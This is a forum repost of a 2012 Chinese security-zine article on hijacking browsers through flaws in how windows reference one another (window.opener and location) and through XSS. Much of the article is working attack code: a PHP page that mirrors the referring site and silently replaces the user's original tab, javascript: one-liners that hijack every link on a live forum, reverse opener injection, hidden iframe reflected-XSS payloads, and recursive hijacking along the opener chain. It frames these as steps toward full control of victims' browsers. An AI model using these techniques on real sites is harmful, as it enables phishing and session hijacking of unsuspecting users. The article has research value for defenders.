找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2359|回复: 0
打印 上一主题 下一主题

[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:10:56 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
                           ==Ph4nt0m Security Team==
% G5 _; @" K+ g1 z  C$ W& q
1 X1 k/ K2 C8 ^4 {5 v+ h( E                       Issue 0x03, Phile #0x05 of 0x07
- x+ s! X& G- G5 o+ \, l. U6 W" G5 Z ! B, S, H& T$ F

  }* E/ U$ p, H" @/ U|=---------------------------------------------------------------------------=|: ]/ ?! |$ {! X# {, ?7 f5 h) X
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|- K% J) s6 c' e$ A  x
|=---------------------------------------------------------------------------=|( |, d7 g0 r& f& L
|=---------------------------------------------------------------------------=|% t# C5 s$ n7 L7 y
|=------------------------=[      By rayh4c     ]=---------------------------=|# J' z! h. q/ `! g9 e  F. d
|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|3 k* f0 f+ k4 J& R% r% F6 C# e! r
|=---------------------------------------------------------------------------=|
5 }+ L4 h2 b5 A1 G. g6 I# g. u
% ]& |# _6 F- L$ J1 g: h3 l( ?: Z1 a  k( A* W5 F8 o  G+ m  c$ W
[目录]
- t1 }& U: T, f  P7 y# \/ E4 c# C. R; ^( a
1. 前言
) W+ W# k/ t1 f0 C0 I9 N2. 同源策略简叙4 g- i. v. r1 i. t0 ^9 C( l. O
3. 理解window对象的同源策略- b' Z9 h# I" \" x1 A# F) |( ~
4. 窗口引用功能中的同源策略漏洞+ q2 s; p% o. `0 O  F
  4.1 父窗口引用子窗口的同源策略问题6 n) e4 Z% n0 B, ~5 W4 Q( T/ H
  4.2 子窗口引用父窗口的同源策略问题0 C$ a( n; ^2 V+ L; e# i/ J
5. 利用窗口引用漏洞劫持浏览器
. I4 P/ ]" i) k9 d+ i) R" G: \4 v6. 利用XSS漏洞劫持浏览器2 A& W4 V( t) [3 B  S6 M
  6.1 正向跨窗口劫持, r# P2 i0 f# {& k
  6.2 反向跨窗口劫持$ u; U; J" e7 H7 }, b4 J3 N9 t6 m
  6.3 极度危险的跨框架窗口引用劫持
' m( Y/ ^1 L6 f2 y  6.4 极度危险的正反向跨窗口递归劫持2 C1 R$ h: V1 c: @9 O& r3 o
  6.5 完全控制浏览器
( s3 `- i: H8 P1 l# M( {& n7. 后记/ D8 q* j, i) t' T4 h
8. 参考- Y# X8 b' }. B* e0 A$ i. v
$ i! r* `$ z2 c8 ~3 f' F
( _# G# w: G( P- ]8 f+ o
一、前言
; I3 v5 Y$ y5 \  L. h, P
) F( n; N, J4 p+ u* W; F    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
% \* m% ~0 a9 l$ _  m$ e友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session! X! S5 B7 _6 m) y8 s7 a; k
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
' L* [3 M" j6 d; O) g+ J条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。4 o: R+ {6 Z4 Q# |6 \
& e' s& c# l7 s) Q

$ e' r, F$ Y. k* J7 Z6 u7 H% L二、同源策略简叙
0 \. t3 F* J' P; s# \! A
4 s, c- `+ o2 P    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以6 D7 X/ r; J& x7 e$ G' |! H2 g
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
. U) g4 P  L9 Q6 k/ ^* t曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
* n: V; w5 U' A, [4 m; K" t( ?马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
+ P4 `0 h) g: K; l# y漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。! @# `( R, h! {
8 K+ S8 ^; k! d0 a& `
  f$ b; c% v7 Z9 w
三、理解window对象的同源策略% l2 @3 o0 x2 ]4 X1 S3 \' ~

3 }* ?% f! u/ G, x    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对+ q3 {2 S7 M7 n5 m6 L1 P; j7 ~4 Q
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
7 n. A( M2 E2 W( _! u% v6 O* ?
& Z# u* C+ @( l0 T: `--code-------------------------------------------------------------------------
) p! H  V: j; e' g# B<script language="javascript">
) e/ Z; }" `6 Y  S* o/ wfor(p in window) document.write(p+"<br>");
! Q6 {. E, p7 [0 x7 @</script>
5 K% c0 K/ U: n3 f, x0 [-------------------------------------------------------------------------------8 s" c/ E/ W. W) L& }9 l- |4 @, k

+ T/ p8 h8 W2 Y- L    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方# C; M% q) n" T, w" `( T
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,8 o0 S0 @, K1 H3 _! N* k
这些属性和方法就必须遵循同源策略。
3 o) L4 f( l" T5 Q; y9 ^6 L6 M8 K+ Y* O; J0 Y0 }# x
    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那. c+ h* s! o2 ?# ?/ c
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
+ z4 V$ z% ]; a0 w, {. Z$ y的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
/ x: b: f6 z, z; H7 \个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
. b8 Z+ U  g0 B值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
( }- o$ W5 `+ U/ r, |属性并没有被拒绝访问。
0 B) \+ J/ c; g, O
: b8 F3 P# E3 p% i  v" z--demo.html--------------------------------------------------------------------
# m# L; m2 f) S- W* k* t) J1 N<script language="javascript">   
4 M. Z. ^. [" L2 p8 Mfunction allPrpos(obj) {      . }8 w% P- w' ?& J
      var props = "<table><tr><td>名称</td><td>值</td>";           ( [3 |* z( V1 p! y6 x( W
      for(var p in obj){          0 C, @* L/ ^+ }1 @: L$ X& v1 M! D
            if(typeof(obj[p])=="function"){   & Z' T' O3 h6 E4 B* |% E. o
                   obj[p]();   
- I) H4 [, P  a             }else{                      4 Z3 ]  w, P5 G  i. L0 X* b
                  try   
1 Z& u$ T1 X9 U( a                   {   % g2 u' D" j  v' h% Y/ @
                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
1 p" ?: ]7 U; M, E" ]  w" o                   }     b6 ~$ {& y; E7 B+ `& \8 _
                  catch (ex)   
; o; J) x/ w3 b8 v. E! H) O                   {   
0 j* V- E9 L  F                   . u: q- w2 S/ {; W( L& s" |
                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   
% o4 e9 t) E' M) n3 L8 N# j                   }   
  Q  p$ h! Y6 @+ d" c' X6 H                       4 u: n% |3 d* J- I4 T& k
             }   
4 d% A! c0 u/ r  Z  |$ H5 u3 P       }   
2 Q) d4 q9 W# H* h2 c' T" l: d) A4 @   
/ Y6 s3 {: s1 v2 @3 k% [) \       document.write(props+"</table>");   
+ @) \: _, R' F% u* C}   
2 J" ]4 y( N0 H3 |, H* p   
/ t9 P9 Y9 A: D& S: c' Gfunction createWin() {' {4 Z# v- b: ~& D. `
        newWin = window.open ("http://www.google.com");  0 a8 d/ h# x. z1 U! ^6 a" M
        setTimeout(function(){allPrpos(newWin)},2000); & S8 E: R* J, y6 U# n2 A" a! _
}
  `/ V( s  ?+ g# |, Z
# N  S  e; d6 U' D! T: ?- r</script>
. c1 |, l3 x( t* B. `# G4 T. v# O1 y% b1 C
<button onclick='createWin()'>创建一个非同源子窗口测试</button>. Y9 ?' M- i! f7 d& T9 d
-------------------------------------------------------------------------------9 ~: @0 {0 B: T- P$ B+ r& q# o  H1 O

+ j4 g" x/ D7 B1 p3 _! P7 P  G9 `* R  g: w- D- u8 R& j* ~
四、窗口引用功能中的同源策略漏洞
) Y) k2 _0 H$ l! c& U0 [
. i) o" K4 I" ^  D3 t) c6 g4 ~5 w4.1 父窗口引用子窗口的同源策略问题
! r9 W3 a2 ]3 k& l; Y4 H8 I1 U
. _) d, @5 i/ ~/ R0 H    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
( T& |* ~; n0 G" `但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
+ \. K7 s4 K$ {5 y3 e浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进, R7 |6 A4 y. Q* R' [' R' y9 _
行测试,会发现父窗口可以控制非同源子窗口location属性值。* I" n3 h  q7 J( G

2 V( t/ |$ @) i, P- ~- \- M5 s--vul1.html--------------------------------------------------------------------8 ?0 E9 v. j$ H
<script language="javascript">
) W9 g) d1 X/ w& z5 A" Wfunction createWin() {  6 C3 e2 \( l' J8 R5 b' @
        newWin = window.open ("http://www.google.com");  2 E' Y, a0 K# S; V+ E
        setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
% G2 |6 h; k1 T+ c5 x} ) k% J- Z$ m' [8 x# |& ^& u4 O
</script>7 l+ s6 n% e1 t% o* D

9 G# z9 a1 N- c8 E& q<button onclick='createWin()'>创建一个非同源子窗口测试</button>
: D3 W( r: p) U8 i-------------------------------------------------------------------------------7 m; ?* Y+ o( r) Y7 l
- w: U5 a+ p9 j* q% b2 }0 Q6 ~

# `8 L5 a* X8 K4.2 子窗口引用父窗口的同源策略问题
+ Z  b* g4 X6 D6 A6 k" c9 A3 Q% T4 Z  X6 a% v
    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
9 y$ f, }8 d$ _" h& H9 k) M* ], R9 f+ S用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
4 x4 j5 _# u& o1 Z% B可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定3 }; N# g9 A5 G1 J( q$ D6 ]
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
- C3 m7 P, U4 ~* D1 {6 A; q: `7 J1 F3 L( b9 l
--code-------------------------------------------------------------------------, O5 f+ Z( @6 h, `

& [* R4 o) f$ H" C& l. F% ~9 n1 cjavascript:window.opener.location = "http://www.80sec.com";void(0);
# i2 q! }" _3 i4 e
# Z9 d6 L- E3 Q# o4 m! Q  l2 r-------------------------------------------------------------------------------; Z6 m1 I1 d; w* K; \5 E
( M, `3 _' h0 y; A+ j
  D8 Y* O& R7 N# S
五、利用窗口引用漏洞劫持浏览器
; a8 ]' i& r9 l2 D2 E8 P- i. O; C8 F
    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
# Q6 S7 I! x, }: ~; F0 z窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那. c  Z( f  P9 w2 }1 d4 s
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
- E5 h- s$ _( E; ^" [! l* h: W1 x% Z( B9 z  F8 X: |
    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产: O& D+ o; V! A. o0 T
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
, k/ m0 t  Z3 ?* P- f3 D者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接0 Z+ a. ~7 z/ l0 j  x6 _0 u0 n
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下8 `5 g4 e0 o5 N% r) m
会产生什么可怕的后果。
# v, S" F( {8 K1 W
) ~" }7 g8 g! \' @) o    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
' ]% n6 d6 S$ ?+ ]2 M0 c们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php4 ^1 _* E7 g  k& l- m
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
1 ]' k& [" J  y# p8 g, ?# Y候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可& D: K& k  o) L8 ?! M+ }
以做更多的事情,所有的一切仅仅是因为点击了一个链接。3 L: j& K- L. R- |2 b* M" e

5 k+ P' i# @* H. z--hjk_ref.php------------------------------------------------------------------5 y: Q+ Z3 L% k  i
<?php
5 }# f* U9 G( vif (array_key_exists("HTTP_REFERER", $_SERVER)) {
% ?, t! x" q1 l( q$Url_Mirror = $_SERVER["HTTP_REFERER"];
) Q, v0 b/ g8 L- C- d- w}
- ?" I: T! \: G7 \, y! B# mif(isset ($_GET['ref'])) {. U; ~* M5 d5 b% ]" c
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';- T. |5 k3 Y# {7 T
}
6 ]! D3 G9 x4 T! g$ N?>% s. I7 |* C# V' A

+ m/ r) b" R, C! I3 m; h<script language="javascript">' ?3 u* S) v* d! x$ Y5 F0 c
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);         4 g; I/ h' [" [2 e; F
</script>
0 z9 v& v& |" @-------------------------------------------------------------------------------
& o- G/ ]/ B9 K- Q2 w" b4 L- o
7 p" A$ V* O- Q* b& J" q    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
, B2 U2 }! t! }& o. m: C, n2 w$ V6 \. I9 Z- b7 C4 \- B' g

* z- H1 p( _+ Y. Y六、利用XSS漏洞劫持浏览器0 L, V2 P$ U. P& t
* [- g$ V8 W8 G& y2 H2 ^% S
    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为8 f( x+ v% t1 d" ~6 j
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
1 m6 I: {' h( c, ^/ u( C: mXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
- b) c3 L9 ~- v/ X  \5 F( _讨论跨站师的终极技巧:" V) _7 F. z) @# B- p$ v

0 K- W( c9 S, U  }) m3 M) [9 g# O9 v8 v9 U
6.1 正向跨窗口劫持
( ~9 t' u9 }3 }. I! U  q5 h: g7 f  I6 m# A) `  ?! U
    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛( T; g/ Z& b8 }, j+ f( V9 P0 I
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
6 @" V) S" Y9 L& x* F接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
' m4 s$ Z2 p3 ~8 O+ v, x框脚本。
, z  C, F6 R; Q/ S
6 N" J+ R0 x  A( w--hijack_open.js---------------------------------------------------------------: m" S  n5 k6 `

5 @' J6 R1 a* s& ljavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
! w/ S, {; ], e4 l+ ?6 h# ^% V7 R6 [. x5 E* p6 c
-------------------------------------------------------------------------------* u7 {" q/ n9 S

: O+ V# g2 c/ H
" i6 E' H+ N: I( s6.2 反向跨窗口劫持$ O8 B9 P8 B. y' M6 I. }% p

2 _9 X3 C$ T/ b$ b& f9 z8 c: K    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代4 K4 p: ]. x* Y9 V% e
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
* e7 A1 a9 A4 m* `  M7 f: K框脚本。
7 X; B' n% |: s
8 r; G) h. K. W+ }--hijack_opener.js-------------------------------------------------------------2 E+ U  d, H' i  p7 W$ q
1 N4 M4 v  q. B8 c( p3 |' M& n
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
1 f, _% U  Q( E/ k2 i$ H% E/ N" a) ?2 j  ]  c* `' E5 g
-------------------------------------------------------------------------------
. u3 V6 y6 _* y$ D. B; P% E0 t. r5 i9 n$ d
5 O. `+ T) w, [
6.3 极度危险的跨框架窗口引用劫持
+ d) f. v& p# y  G- n" Y( F, a" p) ]  n2 T* {
    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞6 M- w3 N. J3 N6 }9 S: W+ u
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
8 F" _6 ]: p9 x& l" u0 K; p6 ^5 a适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
, Y# q5 |/ M. t6 A非持久型的XSS,如下:
: m. S7 M1 T; N% k! g; n1 u6 v- [6 S0 K
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
3 B! M% X1 C% f+ }9 l9 u0 Q* U
! j' X9 l! U( T% y, L    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口  E& A! D5 ~* n
注入脚本。, D3 y& K$ w. F
8 i9 @; m5 T' K
--hijack_frame_opener.js-------------------------------------------------------
% R) {, r+ f6 v" Y% R<script>7 P* K0 q7 B! x9 _0 J6 @7 [- o( G
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";1 U" B) Y; l4 n
</script>" Q% z1 S2 @' s" j
-------------------------------------------------------------------------------: m5 w9 u0 Y$ L' y
, L# r3 j" A" e1 n0 k. X; ^
* I4 E. n3 l( \6 H: Z* o2 N
6.4 极度危险的正反向跨窗口递归劫持
' `9 _! b2 l6 T2 @# ~. [' E; J8 q6 T& s
    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
4 y( }2 O  q/ L. n4 Y3 a的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过( Z2 L: x% k4 R* r% D6 e0 P6 o
异常处理规避之间跨域页面的访问异常,代码如下:
4 o  L* r+ }4 K, n/ v% x% B
+ n4 d: m4 R2 f--code-------------------------------------------------------------------------3 ]- E) N6 s2 k& U5 `
$ L/ k( V5 F4 A) N0 C2 s: O& u
javascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);& u6 F' B* y4 O# l8 e4 e0 H. h
: Y) e+ W2 h. _
-------------------------------------------------------------------------------
8 F/ b2 p0 b$ {6 a$ j7 i+ t3 ]# p- S3 H
    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
/ R, R3 y. o) W* U! a  C- K4 p以劫持B域之前的A域页面,从而实现“隔空打击”。
9 ^* f! e, Q9 V4 x; ~; d0 S
9 V1 B+ |) L& q0 i0 M/ K/ ^$ U    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
* y5 d6 p& g+ F8 \, T, C/ ~8 h( D; n执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
7 b% [: o! f; @2 y+ ]& G$ V  T/ ^! K+ i, K+ ]$ [. U
    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。; m# C. _7 k% r/ |% H

5 c4 O8 O* @( z6 n: h. J, c6 v' e5 Q7 v2 O* r
6.5 完全控制浏览器
; K2 W5 a! O* ~8 I, y2 ?8 q$ i2 Z( m
    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则% a& ?) @9 M7 ?3 ?2 F( T
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS# H8 d) k  u9 r# O& ~
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失0 u0 h; |) {4 O% l; f6 V
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
2 s7 c5 t+ {6 f6 ]2 A. f列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站1 _/ k( E/ W: V, S2 U
师的终极目标 - 完全控制浏览器。( O& i) K/ M( _+ u
! V3 w  q) e/ x' X1 c
+ c# C( M* V1 V3 I$ U* ?
七、后记  M' Y) I& y6 r1 S; h

. C  h# w) X5 a* _: _  u& ?! s    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全) Y5 M& Y! g+ Z! o
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
  J$ M% A8 ]8 F过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。% _. U& Z1 ?8 V
7 n+ L/ X" h+ a# P8 w) ]0 U# n3 @

9 b/ S: j' e* R/ L0 U7 t& m八、参考8 E9 Q9 r7 w9 G6 x" P! z: L7 T

) h1 [- S# t! T& j& i& d1. http://en.wikipedia.org/wiki/Same_origin_policy' Q! u0 K/ f- ~9 i/ p
2. http://code.google.com/p/browser ... licy_for_DOM_access
+ F& u6 `/ J% t. A3 _3. http://www.w3.org/TR/Window/3 W) ]  c9 y" k5 M; _1 g
4. http://www.80sec.com/release/browser-hijacking.txt
. K; s- T# k( m  P- n" [" ]3 X5. http://www.80sec.com/all-browser-security-alert.html; B6 Y7 c# K" I* W2 N$ S
6. http://www.80sec.com/ms08-058-attacks-google.html
! u/ ^5 y! Q8 s( J  F# j# D- E6 |% x0 V
-EOF-
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表